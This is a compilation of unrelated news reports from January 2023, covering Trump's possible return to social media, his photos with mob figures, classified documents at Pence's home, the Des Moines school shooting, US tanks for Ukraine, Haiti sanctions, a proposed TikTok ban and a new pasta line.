There were a lot of reasons to remove him, White said. The question for the social media companies is, how have any of those been addressed? And they really havent been addressed in any way.

For its part, Meta has laid out some ground rules: In June 2021, Metas president for public affairs, Nick Clegg, said Trumps potential reinstatement would depend on whether it posed a serious risk to public safety.

There will be a strict set of rapidly escalating sanctions that will be triggered if Mr. Trump commits further violations in future, up to and including permanent removal of his pages and accounts, Clegg said.

The statement did not address the primary benefit Trump derived from his Facebook account: money. As a candidate, Trump used the platform to draw supporters to rallies and build his war chest.

Former top Trump campaign aide Brad Parscale told 60 Minutes in 2017, was the highway which his car drove on. And Metas chief technology officer, Andrew Bosworth, later wrote of the 2016 election that Facebook could be credited with Trumps election  because he ran the single best digital ad campaign Ive ever seen from any advertiser.

I think Trump wants to get back on Facebook because he needs it for fundraising and building up an email list, Harbath said. My gut is, first and foremost, this is money.

Twitter played a parallel role by giving Trump a direct line to the media. As the political journalist Peter Hamby argued a decade ago after observing the media habits of the reporters on Mitt Romneys campaign bus, Twitter is the central news source for the Washington-based political news establishment. Over the years, the platform has served as a public newsroom of sorts: the first place to advertise big scoops, and in many cases a source of material for the next story.

Just as he cultivated tabloid reporters during his early days as a New York City real estate investor, Trump knew how to manage the Twitter-based press corps by giving them what they wanted  spectacle and outrage.

Propaganda works best at the intersection of information, entertainment and persuasion, and Trump is a consummate entertainer, hes very effective at highjacking human attention, said Renee Hobbs, a longtime professor of media literacy education at the University of Rhode Island. His return to social media will be a spectacle extraordinaire that journalists will find it hard to look away from, and therefore report on  and amplify his insanity to the general public.

Hobbs paraphrased Noam Chomsky on propaganda: People think that propaganda is for the masses, but actually, its for the elites. The elites are the ones who need to be fed a constant stream of propaganda, because theyre the thought-leaders who shape the masses. Trump understands that really well.

Former President Donald Trump prepares to leave after speaking during an event at his Mar-a-Lago home on Nov. 15, 2022, in Palm Beach, Florida. Trump announced that he was seeking another term in office and officially launched his 2024 presidential campaign.

Former President Donald Trump prepares to leave after speaking during an event at his Mar-a-Lago home on Nov. 15, 2022, in Palm Beach, Florida. Trump announced that he was seeking another term in office and officially launched his 2024 presidential campaign.

More Irrelevant To Politics

Ironically, Trump is considering rejoining Facebook and Twitter at a moment when all three actors have hit a lull.

Trumps low-energy 2024 campaign announcement and the lackluster performance of his endorsed candidates in the 2022 midterms have gotten his 2024 campaign off to a slow start.

With Musk at its helm, Twitter has experienced what the new CEO has described as a massive drop in revenue  a mix of fleeing advertisers and the flop of his new subscription service, Twitter Blue.

And Meta just laid off over 11,000 people, or 13% of its workforce. Plus, the site has actively tried to minimize the role of divisive political discussions since the Capitol riot.

Overall, Facebook is becoming more irrelevant to politics in some ways, at least in the U.S., Harbath said.

Ironically, then, Facebooks decision on Trumps fate may be most important for the other world leaders, and would-be coup plotters, who may use the platform to organize and incite their followers.

I think the question of whether or not Trump should be platformed is really a larger question about what our political discourse and debate should look like right now, White said. And not just on social media, but on television and in newspapers as well. What does it mean to platform these folks who are spreading lies and encouraging violence?

Harbath, for her part, leans toward letting the former president back on the platform. First, she says, because of the message it would send abroad if an American company shuts out a legitimate presidential contender from its platform, and second, because Facebooks censorship policies are focused on the threat of imminent violence, not incitement or other more indirect threats. She suggested the company consider other restrictions on Trumps content, including potentially limiting its presence on users news feeds.

Either way, she said, it wont be an easy decision.

Its going to be precedent-setting, Harbath said. This is not going to be the closing of a book; this is going to be a starting of a new chapter of questions about how world leaders and politicians in government should be handled online. I think this will be a really monumental decision that people look back on.

Related...
A photo taken during the summer of 2022 shows a grinning former president Donald Trump flashing a thumbs up gesture while posing with John Alite, a podcaster and motivational speaker who was once a hitman for the Gambino crime family.

Alite, who confirmed the authenticity of the photo in a phone interview with The Independent, described himself as a political independent who supported Mr Trumps push for criminal justice reform, and said his support for the ex-president is well known.

Though he described himself as a media figure who speaks out against the street and encourages young people to refrain from engaging in crime or violence, he spent years of his life as an associate of the Gambino family, one of the famed five families of the American mob. He has confessed to murdering six people and assaulting many more during that period of his life, which ended when he was arrested in Brazil after several years evading capture following an indictment in federal court.

Upon his extradition to the US, he eventually made a deal with prosecutors and testified against former associates who had fingered him for a slew of crimes, including top Gambino family figures such as John Gotti Jr (whose case ended in a mistrial) and Charles Carneglia (who got a life sentence).

(Brazil Federal Police)

Alites help to prosecutors got him a 10-year sentence after he pleaded guilty to numerous offenses including including murder and robbery.

Since his release from prison, he says he has changed his life.

I'm a guy that's does TV, does movies, those talk shows, does talks for kids, works with the FBI, does events and talks with the FBI against the street to save kids lives. I do things with documentaries against drugs, openly against my past. So I'm a different guy, he said.

Asked whether he believed Mr Trump was aware of his past when he posed for a photo with him, Alite told The Independent: I assume he knows who I am, but possibly not.

The Independent was tipped off to the existence of the photograph after reporting that Mr Trump had recently posed for a snapshot with Joseph Skinny Joey Merlino, who ran the Philadelphia mafia in the 1990s when Mr Trump was a casino operator in nearby Atlantic City, New Jersey.

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Donald Trump photo posted by John Alite on open Facebook personality page on 9 November 2022, Palm Beach, FL, United States (John Alite/Facebook)

Merlino spent more than a decade in federal prison after he was convicted on extortion, bookmaking and receiving stolen property charges following a 2001 trial. After his release he moved to Florida but found himself back in the dock in 2016, when he was arrested on another racketeering indictment and tried in a New York federal court. Following a mistrial on racketeering, fraud and illegal gambling charges, he pleaded guilty to illegal gambling and received a two-year prison sentence.

Alite said Mr Trumps photograph with Merlino is a good indicator that the ex-president doesnt have anyone around him who can vet who he comes into contact with.

I just think he doesn't realise all the people he's taking a picture with because he recently took a picture of someone and I guarantee he doesnt know who that person is, he said.

In a statement to The Independent, a spokesperson for Mr Trumps 2024 presidential campaign denied that the ex-president has any awareness of the identity of people he is photographed with in informal settings.

President Trump takes countless photos with people. That does not mean he knows every single person he comes into contact with, the spokesperson said.

The existence of two photographs of the twice-impeached ex-president posing alongside people with strong connections to organised crime raises questions about whether Mr Trump is being adequately staffed as he ramps up his third campaign for the presidency.

In November, Mr Trump was photographed having dinner with antisemitic rapper Kanye West and an associate of his, notorious white nationalist podcast host Nick Fuentes.

Despite the denials from Mr Trumps campaign, its possible that he knew of both Mr Alite and Mr Merlino. Both were active in organised crime circles in the 1980s and 1990s, when Mr Trump was active in New York City real estate development.
Former President Trump called former Vice President Mike Pence an innocent man on Tuesday following revelations that classified documents were found at Pences home in Indiana.

Mike Pence is an innocent man. He never did anything knowingly dishonest in his life. Leave him alone!!! Trump wrote on his Truth Social platform.

Earlier on Tuesday, revelations emerged that classified documents had been found at Pences Indiana home. Pence attorney Greg Jacob told the National Archives earlier this month that a small number of documents that could potentially contain sensitive or classified information interspersed throughout the records had been found in his home and that those documents were later collected by the FBI after the findings were reported to the National Archives.

CNN, which first reported the news, noted that Pence had requested the search out of an abundance of caution following separate revelations that classified documents had been found at President Bidens residence and former office, according to sources that spoke to CNN. The network reported that the discovery was made known on Tuesday to the necessary committees and lawmakers.

The revelations come as Pence is weighing running for president in 2024. Though it remains too early to say whether the discovery of classified documents in his Carmel, Ind., home could impact possible presidential ambitions, it complicates how Republicans are looking to capitalize on Bidens own classified document dealings.

For the latest news, weather, sports, and streaming video, head to The Hill.
LONDON (Reuters) -British voluntary aid workers Chris Parry and Andrew Bagshaw were killed during an attempted humanitarian evacuation in eastern Ukraine, Parry's family said on Tuesday, weeks after they were reported missing in the war-torn country.

"It is with great sadness we have to announce that our beloved Chrissy has been killed along with his colleague Andrew Bagshaw whilst attempting a humanitarian evacuation from Soledar, eastern Ukraine," his family said.

"His selfless determination in helping the old, young and disadvantaged there has made us and his larger family extremely proud," they added, in a statement released by Britain's Foreign Office.

Sky News reported Bagshaw's family as saying the pair was killed while trying to rescue an elderly woman from the town of Soledar.

Russia's Wagner Group said earlier in January that its forces had found the body of one of the workers who had been reported missing in eastern Ukraine, the scene of heavy fighting between Ukrainian and Russian forces.

Ukrainian police have said the two left the city of Kramatorsk for Soledar on Jan. 6 and were reported missing the next evening after contact with them was lost.

"He found himself drawn to Ukraine in March in its darkest hour at the start of the Russian invasion and helped those most in need, saving over 400 lives plus many abandoned animals," Parry's family said of him on Tuesday.

No further details on the circumstances of their deaths were provided, and the Foreign Office said it was supporting the families.

(Reporting by Muvija MEditing by Rosalba O'Brien and Alistair Bell)
Plus, one entirely new shape.

Nelli Syr / Getty Images

In case youre still mourning the discontinuation of Ronzonis nostalgic star-shaped Pastina pasta shape, we have some carb news that might lift your spirits. Pasta manufacturer Sfoglini is teaming up with The Sporkful Podcast creator and host Dan Pashman to add three likely-new-to-you pasta shapes to your pantry. The two existing shapes hitting the brands roster are quattrotini and vesuvio  fun to look at, fun to wrangle on your fork, and fun to eat. The third is a new shape designed by Pashman himself, called cascatelli.

We say likely-new-to-you because two of the shapes can be found in small regions around Italy. You may have heard of quattrotini, a pasta shape thats served once a year during Carnival in a small region of Sicily. The original shape  four tubes connected by a four-sided rectangle  was slightly tweaked to include ridges, making it easier to grab sauce.

The second shape, vesuvio, was named for its likeness to Mount Vesuvius. Short, round, and anchored by a large base that tapers to a thin cone, sauce collects into the spirals promising a perfect bite every time. This shape can be found in towns around the volcano it was named for, though its very hard to find in the U.S.

:

Pashman has long been on the search for the perfect pasta shape, a mission that sounds incredibly delicious. When creating pasta shapes, the podcast host has three goals, according to a press release from Sfoglini: forkability (how easy it is to get the pasta on the fork and keep it there), sauceability (how well the pasta shape holds sauce), and toothsinkability (how satisfying it is to bite into). You can really dig into his adventures in pasta tasting in the Mission: ImPASTAble series.

Creating a new pasta shape takes far more than a single work session to nail down. The cascatelli shape took three years of development, as well as a deep dive into the little-known pasta shapes that exist in the more remote corners of Italy. The hope with this new collection is to honor Italian traditions while creating high-quality, American-made pasta that introduces new shapes to pasta enthusiasts around the United States.

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The Quattrotini, Cascatelli and Vesuvio pasta shapes.

The part of the equation were most interested in? The taste test. In the case of quattrotini, there was no taste test process  I saw a photo of it and became obsessed with it," says Pashman. "I had never seen anything like it, but I couldn't get my hands on it. Almost nobody makes it, even in Italy, where it's called cinque buchi. I tasted it for the first time just a few weeks ago and fortunately, it was as good as I thought it would be, especially with the ridges I decided to add. Those not only hold more sauce, but create a noticeable textural sensation in your mouth, which is not the case with all ridges." The process was slightly different for the vesuvio pasta, as Scott Ketchum, co-founder and CEO of Sfoglini, shares via email. We started by reading through pasta books and catalogs to select shapes that looked interesting and that were not readily available here in the U.S., he says. The first option, vesuvio, was more familiar to us and appeared to only be available at a few shops in America. We tasted the variations that we were able to find and were pleasantly surprised by how well it held sauce  and I particularly liked biting into it. It had great toothsinkability.

If you want to try them out for yourself, all three shapes from The Sporkful Collection will be available to purchase on Sfoglinis website on January 24.


The court seized two planes of the Russian company

According to the decision of the National Security and Defense Council, personal, special, economic and other sanctions were applied against this company.

The name of the company has not been disclosed. The An-148s are regional passenger jets, with flight ranges up to 3,500 kilometers.

According to the investigation, in 2021, the sanctioned enterprise, through a Cypriot offshore company, entered into a lease agreement for these planes with a Ukrainian company that used them in its economic activities.

Read also: Ukraines financial investigations service seizes large, Russian-owned logistics center

After the full-scale invasion by the Russian Federation, the lease agreement was terminated.

U.S. newspaper the Washington Post reported in July 2022 that Russia is holding over 400 passenger jets hostage in a global sanctions tussle.

The countrys airlines are refusing to return the planes theyd leased from foreign companies; the planes are worth billions, the Washington Post wrote.

Read the original article on The New Voice of Ukraine
By Tyler Clifford

(Reuters) - Two students were killed on Monday and an adult was seriously wounded in a "targeted" shooting at a nonprofit educational center for at-risk youth in Des Moines, Iowa, local police said.

The students died at a hospital, while a staff member of Starts Right Here, a learning facility for young people, was in surgery, Sargent Paul Parizek said at a press conference. No further details were released.

Three suspects, who have not been identified, fled the scene in a car and were taken into custody at a traffic stop within 20 minutes of the incident. One of them jumped out of the vehicle and ran but was eventually arrested with the help of a K-9 unit, Parizek said.

No motive for the shooting is known. Officers were called to the scene just before 1 p.m. local time.

Parizek said the police department works closely with the program, which was designed to help underserved students who have a variety of "troubles and challenges."

"These are supposed to be our safe spaces," he said. "To have it happen here, it's going to be a horrible impact on the community."

Des Moines Public Schools interim Superintendent Matt Smith said the district partnered with Starts Right Here to help "re-engage students."

"We are saddened to learn of another act of gun violence, especially one that impacts an organization that works closely with some of our students," Smith said in a statement.

Parizek did not give a timeline for the investigation, though he said he expects the most serious charges will be handed down.

(Reporting by Tyler Clifford in New York; Editing by Bradley Perrett)
Police enter the Starts Right Here building in Des Moines, Iowa, where two students were killed and a teacher was injured in a shooting (AP)

A shooting at a Des Moines, Iowa, outreach centre has left two students dead and a staff member injured, according to police.

The shooting took place on Monday at a programme called Starts Right Here, which is affiliated with the Des Moines school district, the Associated Press reported. The programme is held in a business park in the city.

Authorities were called to the facility around 1pm local time and performed CPR on the two students, who later died at hospital. The teacher was listed in serious condition, according to the AP.

On Monday, police said three suspects were in custody. Included in those three was 18-year-old Preston Walls, who was charged with two counts of first-degree murder, one count of attempted murder and one count of criminal gang participation, according to KCCI. On Tuesday, the local news outlet reported that the other two people detained by police had been released without charges.

I am shocked and saddened to hear about the shooting at Starts Right Here, Iowa Gov Kim Reynolds said in a statement. Ive seen first-hand how hard Will Keeps and his staff works to help at-risk kids through this alternative education program. My heart breaks for them, these kids and their families. Kevin and I are praying for their safe recovery.

Other Iowa officials voiced their pain after the shooting.

Im saddened to hear of the shooting at Starts Right Here in Des Moines, wrote the states US senator, Joni Ernst, on Twitter. Ive seen the positive impact Will Keeps and his staff have on young Iowans. Keeping all those impacted in my prayers.

Mr Keeps founded the Starts Right Here programme, which focuses on at-risk youth in high school.

The centre provides mentorship, career advice, financial literacy training, and other services to students with a goal of creating a pool of workers who are educated, equipped, and empowered to build successful lives, according to the programmes website.

Deandre Smith, whose daughter attends a youth programme at Starts Right Here, told Local 5 News that one of the victims included Mr Keeps.

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I dont know exactly what happened, he said. I just know some kids came here and shot up some other kids and Will Keeps.

Im sad, this s*** is sad, Mr Smith added.

We are saddened to learn of another act of gun violence, especially one that impacts an organization that works closely with some of our students, the Des Moines public school system said in a statement, KCCI reports. We are still waiting to learn more details, but our thoughts are with any victims of this incident and their families and friends. Starts Right Here is a valuable partner to DMPS, doing important work to help us re-engage students, and we stand by to support them during this critical time.

Police stopped the suspects in their car near MacRae Park, about two miles from the scene of the shooting, the Des Moines Register reports, prompting one of the individuals to flee before being caught by an officer with a search dog.

Bystanders said they also saw police pursuing an individual out of the Starts Right Here building on foot.

We just saw a lot of cop cars pouring in from everywhere," Nicole Krantz, who works as a coder in a building next door, told the Register. Its terrifying. Were all worried. We went on lockdown, obviously. We were all told to stay away from the windows because we werent sure if they caught the guy.

Sergeant Paul Parizek of the Des Moines Police Department told reporters the incident was a targeted shooting.

There was nothing random about this, it was certainly a targeted incident, he said. As far as a motive, thats something we are going to try to figure out.

The school is designed to pick up the slack and help kids who need the help the most, the ones who arent getting the services they need for a variety of different reasons, he added. To have it happen here, its going to be a horrible impact on the community.

Iowa legislators observed a moment of silence on Monday afternoon in reference to the shooting.

The Iowa House gaveled in and had a moment of silence for two Des Moines students killed in a school shooting this morning pic.twitter.com/GWk14BuOlU  Ty Rushing (@Rushthewriter) January 23, 2023

The deadly violence follows a mass shooting in California over the weekend, where nearly a dozen peopel were killed at a dance club as revelers were celebrating the Lunar New Year.

Anti-gun violence activists said the shooting as indicative of Americas larger problem with access to firearms putting youth at risk.

Weve barely taken a breath and processed the shootings in Monterey Park and Baton Rougeyet another community is now hurting, the Giffords Law Center to Prevent Gun Violence wrote in a statement on Monday.
Two students were fatally shot Monday afternoon at a charter school in Des Moines, Iowa, that is tailored for disadvantaged youths and has close ties to police, authorities said.

Killed were an 18-year-old male and a 16-year-old male, police said. An 18-year-old was arrested and faces two counts of murder. Two others are in custody as the investigation continues, according to police.

The calls for help came about 12:50 p.m. CT at Starts Right Here, and responding officers found the two students and an adult all wounded, Des Moines Police Sgt. Paul Parizek said.

Mayor Frank Cownie and police identified the wounded adult as the Starts Right Here programs founder, William Holmes, who goes by Will Keeps, and said he was recovering. Police said he was in serious condition.

"There was nothing random about this. It was certainly a targeted incident," Parizek said.

Preston Walls, 18, has been arrested on two counts of murder, one count of attempted murder and one count of criminal gang participation, police said Monday night.

Walls entered a common area and had a 9 mm handgun with an extended magazine, police said.

Keeps was trying to escort Walls away from the area when Walls allegedly pulled away and shot the two victims who later died, and Keeps was also shot, police said.

Walls and the victims were members of opposing gangs, and evidence indicates that that these crimes were committed as a result of an ongoing gang dispute, police said in Monday nights statement.

Witnesses provided a description of a fleeing car, which police tracked down, Parizek said.

The vehicle was pulled over 2 miles south of the school, police said, and two people surrendered immediately, while a third person, later identified as Walls, fled and was arrested.

The two other people apprehended remained in custody Monday as the investigation continued, police said.

Cownie said Monday evening that he had spoken with the families of the victims and offered them the citys support and prayers.

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There is little one can say that will lessen their pain, nothing that can be said to bring them back, those who were killed so senselessly, Cownie said.

Three others are in custody, suspects of these shootings. That brings a total of five families of teenagers affected by youth gun violence, in a matter of minutes on a Monday afternoon right here in our capital city, the mayor said.

The Iowa shooting comes as other troubling incidents of gunfire have erupted across the U.S.

Eleven people were killed at a dance studio in Monterey Park, California, late Saturday, and 12 people were shot in a Baton Rouge, Louisiana, bar early Sunday. Seven others died Monday in shootings at two nurseries near Half Moon Bay, California.

Start Right Here describes itself as a school for students who "deserve a chance to rise above the circumstances they were born into" and hopes to "give them a chance to choose a different future."

Des Moines Police Chief Dana Wingert is on the school's board of directors.

"These are supposed to be our safe spaces, and this school in particular, it's one that the police department works very closely with," Parizek said.

"The school is designed to pick up the slack and help kids who need the help the most, the ones who aren't getting the services they need for a variety of different reasons. To have it happen here, it's going to be a horrible impact on the community."

After Walls was arrested, a 9 mm handgun with a magazine that can hold 31 rounds, and which held three, was found nearby, according to police.

The number of rounds fired is still being determined as the scene continues to be processed, Parizek said. Each victim was struck multiple times, he said.

Walls was on pretrial release on a weapons charge and had cut off a court-ordered GPS ankle monitor 16 minutes before the shooting, police said.

A contact number for family members could not immediately be found in online records Monday night.

This article was originally published on NBCNews.com
The Biden administration is leaning toward sending a significant number of M1 Abrams tanks to Ukraine, two U.S. officials said, and an announcement could come as early as Wednesday.

The development comes amid a public standoff with German officials, who are under pressure to send their own Leopard tanks and allow other European countries that operate the German-made vehicles to do so as well.

On Tuesday, shortly after news broke of the possible U.S. move, POLITICO reported that German Chancellor Olaf Scholz also plans to announce that German Leopards are heading to Ukraine. Last week, Scholz told U.S. lawmakers that Berlin would approve the transfer only if the U.S. donated its own tanks first.

The transfer of U.S. and German tanks would mark a major development in the Wests effort to arm Ukraine. Top Ukrainian officials, including President Volodymyr Zelenskyy, have spent weeks pleading for tanks as Kyiv prepares for fresh Russian offensives in the countrys east.



One of the two U.S. officials said the Biden administration is considering sending around 30 Abrams tanks.

Defense Secretary Lloyd Austin at a meeting this week recommended to President Joe Biden that the U.S. should send Abrams to Ukraine, a third U.S. official said, though its unclear if the commander in chief has made a final decision.

Another U.S. official said the deal is getting done in order to maintain alliance unity, paves the way for Leopards and added capability for Ukraine. Good outcome.

Training and delivery takes time, this person added, so, yes, might as well get started.

The decision marks a sharp reversal for the U.S., which has argued in public against sending Abrams tanks, saying they're too expensive and require too much maintenance.

The Pentagon never took tanks off the table, said another U.S. official, who like others spoke on the condition of anonymity to discuss the matter ahead of an announcement. But in recent weeks, U.S. officials have said the Abrams made little operational sense for Ukraine at this moment because they guzzle jet fuel and require long supply lines to maintain.

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The Abrams tank is a very complicated piece of equipment. Its expensive, its hard to train on. It has a jet engine, I think its about three gallons to the mile of jet fuel. It is not the easiest system to maintain, Colin Kahl, the Pentagons top policy official, told reporters last week after a trip to Kyiv. It may or may not be the right system.

The vehicles would likely come through the Ukraine Security Assistance Initiative, according to another person familiar with the issue. The program allows Washington to finance the purchase of weapons and equipment for Ukraine, as opposed to pulling them from existing U.S. stockpiles.

The developments come after weeks of tense discussions between Washington, Berlin and their European allies. Since Scholz met with U.S. lawmakers last week, the German government has shifted its stance, at one point denying it had linked the transfers of the Abrams and Leopards.

A parade of Democrats and Republicans has pressured the Biden administration to grant Berlins request to send U.S. tanks first.



If the Germans continue to say we will only send or release Leopards on the condition that Americans send Abrams, we should send Abrams, Sen. Chris Coons (D-Del.), a close Biden ally, told POLITICO moments before Sky News Arabia first broke news of the decision on Tuesday.

The M1 Abrams tanks currently in the U.S. Armys motor pools would first need to be stripped of sensitive communications and other equipment before being sent to Ukraine, making it an expensive and time-consuming process.

A handful of countries operate less modern versions of the Abrams, including Australia, Iraq, Egypt, Kuwait and Morocco, while Poland has 250 on order slated to begin arriving in 2024.

Egypt by far has the most Abrams tanks in service, with over 1,000 older M1A1 models as the result of a decades-long co-production deal with the United States.

Paul McLeary contributed to this report.
As California grappled with a mass shooting in Monterey Park over the weekend that left 11 people dead, within 48 hours, another gunman went on a shooting spree in Half Moon Bay, just under 400 miles away, killing at least seven people.

Within that short time span, four other mass shootings took place across the United States, with the number of shootings nationwide so far this year already outpacing the number of calendar days.

As of Tuesday, at least 39 mass shootings had unfolded across the country since the year began, according to the Gun Violence archive, a nonprofit that tracks the spread of what has been called an American disease and which defines a mass shooting as a single incident in which at least four people  other than the shooter  are shot.

At least 70 people have been killed and 167 wounded in mass shootings so far in 2023, according to the archive.

Those figures mark a historically quick start for mass shootings this year, with more mass shootings recorded so far this month than in any January over the past decade, according to the archive, which has kept records since 2014. This is despite Congress having passed the most sweeping federal gun control law in 30 years last year, enhancing background checks and encouraging states to pass so-called red flag laws, among other provisions.

In the wake of recent mass shootings, there have been repeated calls for tighter federal gun control measures, as state measures, including in California, face the might of a Supreme Court that has blocked multiple restrictions, including the purchase of high-capacity magazines.

Image: Ten Killed In Mass Shooting At Lunar New Year Festival In California (Eric Thayer / Getty Images)

"We know the scourge of gun violence across America requires stronger action," President Joe Biden in a statement Tuesday as he pointed to bills introduced Monday by Senate Democrats, including a "federal Assault Weapons Ban and legislation that would raise the minimum purchase age for assault weapons to 21."

"I once again urge both chambers of Congress to act quickly and deliver this Assault Weapons Ban to my desk, and take action to keep American communities, schools, workplaces, and homes safe," he said.

Story continues

In the deadliest shooting of the year so far, 11 people were killed Saturday night when a gunman opened fire in a dance studio in the majority-Asian American community of Monterey Park as people gathered to celebrate Lunar New Year festivities.

Ten hours later, early Sunday morning, at least 12 people were wounded after gunfire erupted in a Louisiana nightclub, according to authorities, who called it a targeted attack.

The next day, Monday, the states second major shooting in three days left at least seven people dead and one person gravely injured in Half Moon Bay, according to authorities.

Multiple people were killed in two related shootings Monday at a mushroom farm and a trucking firm in a coastal community south of San Francisco, and officials say a suspect is in custody. (Jeff Chiu / AP)

The gunman opened fire at two sites on the outskirts of the city of roughly 11,000 people, about 30 miles south of San Francisco, San Mateo County Sheriff Christina Corpus told reporters.

The shooter was arrested within hours of the first shooting, with video captured by NBC Bay Area showing him surrendering to authorities at a sheriffs substation.

At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting, Gov. Gavin Newsom said Monday. This time in Half Moon Bay.

Tragedy upon tragedy, he said.

This article was originally published on NBCNews.com
By Michelle Nichols

UNITED NATIONS (Reuters) - The United States said on Tuesday it will propose further targets in Haiti for U.N. sanctions, a move broadly backed by China as the Caribbean country battles cholera and severe food shortages compounded by widespread violence from criminal gangs.

The 15-member U.N. Security Council agreed in October to impose an asset freeze, travel ban and arms embargo on anyone who threatens the peace or stability of Haiti, naming the country's most powerful gangster as its first target.

U.N. Secretary-General Antonio Guterres has also proposed that "a rapid action force" be sent to Haiti to help police combat gangs - a move also requested by Haiti's government.

"This has yet to materialize," the U.N. special envoy to Haiti, Helen La Lime, told the Security Council.

"Haitians overwhelmingly want this assistance so they can go about their daily lives in peace," she said. "Gang-related violence has reached levels not seen in decades. Murders and kidnappings increased for a fourth consecutive year."

The deputy U.S. ambassador to the United Nations, Robert Wood, said that Washington was encouraged that U.N. sanctions had "deterred those who would carry out and finance the violence causing Haiti's instability."

"The United States is identifying additional targets involved in the unrest in Haiti to nominate at the United Nations," he said. Such proposals are made to the council's Haiti sanctions committee, which makes decisions by consensus.

China's U.N. Ambassador Zhang Jun called for U.N. Haiti sanctions to be urgently reviewed and updated and for the full implementation of the measures "in order to create the necessary deterrent to gang violence."

Russia's Deputy U.N. Ambassador Dmitry Polyanskiy said the council's Haiti sanctions committee should intensify its work to find "the true sources of funding of the gangs in Haiti and the routes of illegal weapons supplies to the island."

(Reporting by Michelle Nichols)
By Steve Holland

WASHINGTON (Reuters) -The United States has determined that some Chinese companies are providing non-lethal assistance to Russia for use in the Ukraine war and officials are noting their concern to the Chinese government, a source familiar with the matter said on Tuesday.

The source, speaking on condition of anonymity, said: "What we're seeing is non-lethal military assistance and economic support that stops short of wholesale sanctions evasion."

The source did not elaborate, and Reuters could not independently verify this account.

The United States has warned the Chinese government of consequences should China provide weaponry to Russia for use against Ukraine.

U.S. officials view the current activity as concerning and believe it is "a significantly scaled-down version of the PRCs (Peoples Republic of China) initial plan, which was to sell lethal weapons systems for use on the battlefield," the source said.

It is unclear if the Chinese government is aware of the activity, the source said.

U.S. officials are reaching out to Chinese authorities through diplomatic channels, the source said.

"We will continue to communicate to China the implications of providing material support to Russia's war against Ukraine," said White House press secretary Karine Jean-Pierre.

U.S. State Department spokesperson Ned Price said Washington has been very clear with China about the implications of providing material to support Russia's war in Ukraine, though he declined to confirm Tuesday's reports.

"But we would be concerned if we were to see not only the PRC itself engaging in this but Chinese companies, PRC companies, doing this," Price told reporters.

Price added that he suspects it is something that will be discussed in coming days when U.S. Secretary of State Antony Blinken has an opportunity to travel to Beijing.

(Reporting by Steve Holland and Ismail Shakil and Jeff Mason; Writing by Kanishka Singh; Editing by Caitlin Webber, Bill Berkrot and Daniel Wallis)
WASHINGTON (Reuters) -U.S. Senator Josh Hawley, a Republican and China hawk, said on Tuesday that he would introduce a bill to ban the short video app TikTok in the United States.

TikTok, whose parent is the Chinese company ByteDance, already faces a ban that would stop federal employees from using or downloading TikTok on government-owned devices.

"TikTok is China's backdoor into Americans' lives. It threatens our children's privacy as well as their mental health," he said on Twitter. "Now I will introduce legislation to ban it nationwide."

Hawley did not say when the bill would be introduced.

TikTok said in a statement that Hawley was taking the wrong approach.

"Senator Hawley's call for a total ban of TikTok takes a piecemeal approach to national security and a piecemeal approach to broad industry issues like data security, privacy and online harms," said spokeswoman Brooke Oberwetter. "We hope that he will focus his energies on efforts to address those issues holistically, rather than pretending that banning a single service would solve any of the problems he's concerned about or make Americans any safer."

Read more:

Kentucky bans TikTok from government-owned devices

Wisconsin, North Carolina ban TikTok from state devices on security concerns

(Reporting by Diane Bartz; Editing by Lisa Shumaker)
General Colonel Mikhail Teplinsky, who received praise in Russia as a "capable and pragmatic commander," was likely dismissed as one of Russia's commanders in Ukraine, the U.K. Defense Ministry reported on Jan. 24 in its daily intelligence update.

In Nov. 2022, Teplinsky was responsible for the "relatively successful" Russian withdrawal from Kherson.

The report reads that it is also unclear whether Telpinsky retains his post as head of Russia's airborne forces.

The Defense Intelligence believes that such dismissal exhibits further divisions within the senior hierarchy of Russia's war in Ukraine as newly appointed General Valery Gerasimov, an overall commander of war against Ukraine, attempts to pursue his "personal authority on the campaign."
LONDON (Reuters) - British minister Chris Heaton-Harris met the U.S. Special Envoy to Northern Ireland in Washington and discussed ways to increase trade and investment opportunities, the British government said on Tuesday.

"It was brilliant to meet Joe Kennedy III for the first time in person and hear about his plans for the Special Envoy role and his vision for Northern Ireland," Heaton-Harris, who is Britain's Northern Ireland minister, said in the statement.

"We also discussed US engagement to mark the upcoming 25th anniversary of the Belfast (Good Friday) Agreement, an incredible achievement for Northern Ireland of which US support was instrumental."

(Reporting by Muvija M, editing by Deepa Babington)
Ukraine has no aggressive plans towards Belarus and warns the neighbouring country against participating in the war on the Russian side.

Source: Oleh Nikolenko, Spokesperson for the Ministry of Foreign Affairs of Ukraine

Quote: "Russia is trying in every possible way to draw Belarus directly into a war. Ukraine warns Minsk against any possible further aggressive plans.

We confirm the absence of any aggressive intentions towards Belarus on our part."

Details: Nikolenko noted that Ukraine is ready for any development of events and will act exclusively implementing the right to self-defence provided for by the UN Charter.

Ukraine's Defence Forces and the government have a clear plan of action in case of an increase in the threat from Belarus, the spokesperson for the Ministry of Foreign Affairs added.

Background: Alexander Lukashenko, self-proclaimed President of Belarus, has said that the West has not given up on its plans for Belarus, so it is training "militants and extremists" in Ukraine. Although Ukrainians are allegedly offering a "non-aggression pact".

Lukashenko also called on residents of Belarus to unite in order to "survive" so that rockets don't fly here and bombs are not dropped on them. As he said, if the protests in 2020 had been successful, things would have been worse in Belarus than in Ukraine now.

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Ukraines intentions to launch a renewed counteroffensive against Russia that includes the goal of retaking Crimea will depend on whether the U.S. and other Western allies overcome their hesitancy about supplying heavy arms to Kyiv.

The impasse between the U.S. and Germany over sending tanks to Ukraine has highlighted the conundrum, but Kyiv will also need increased air power for a major operation into the peninsula currently occupied by Russia.

President Biden and other top U.S. officials have held back from publicly committing to help Ukraine liberate Crimea, but are reportedly warming to the idea of giving Kyiv the ability to strike Russian forces on the peninsula to weaken Russian President Vladimir Putins sense of security there.

Crimea represents a key tactical and symbolic military objective for Kyiv. Putin personally sponsored the construction of a massive bridge connecting Russia with Crimea, and the Kremlins Black Sea Fleet has its main headquarters in the port city of Sevastopol.

Ukrainian President Volodymyr Zelensky has said that victory for Ukraine includes pushing Russian forces out of all the occupied territory, including Crimea, which Russia invaded and illegally annexed in 2014.

I will defend my Ukraine. My unity  my Crimea, Zelensky said in an evening address Sunday, also listing other cities and territories still under Russian occupation.

Tanks, along with infantry fighting vehicles and other Western-provided artillery and munitions, are part of the overall effort required for Ukraine to defeat Russian forces, Ben Hodges, former Commanding General of U.S. Army Europe, wrote in an email to The Hill.

The Ukrainian Government knows that they cannot settle for Russia retaining control of Crimea. Ukraine will never be safe or secure or able to rebuild their economy so long as Russia retains Crimea, wrote Hodges, who serves as a senior adviser with Human Rights First, a nonpartisan charity organization.

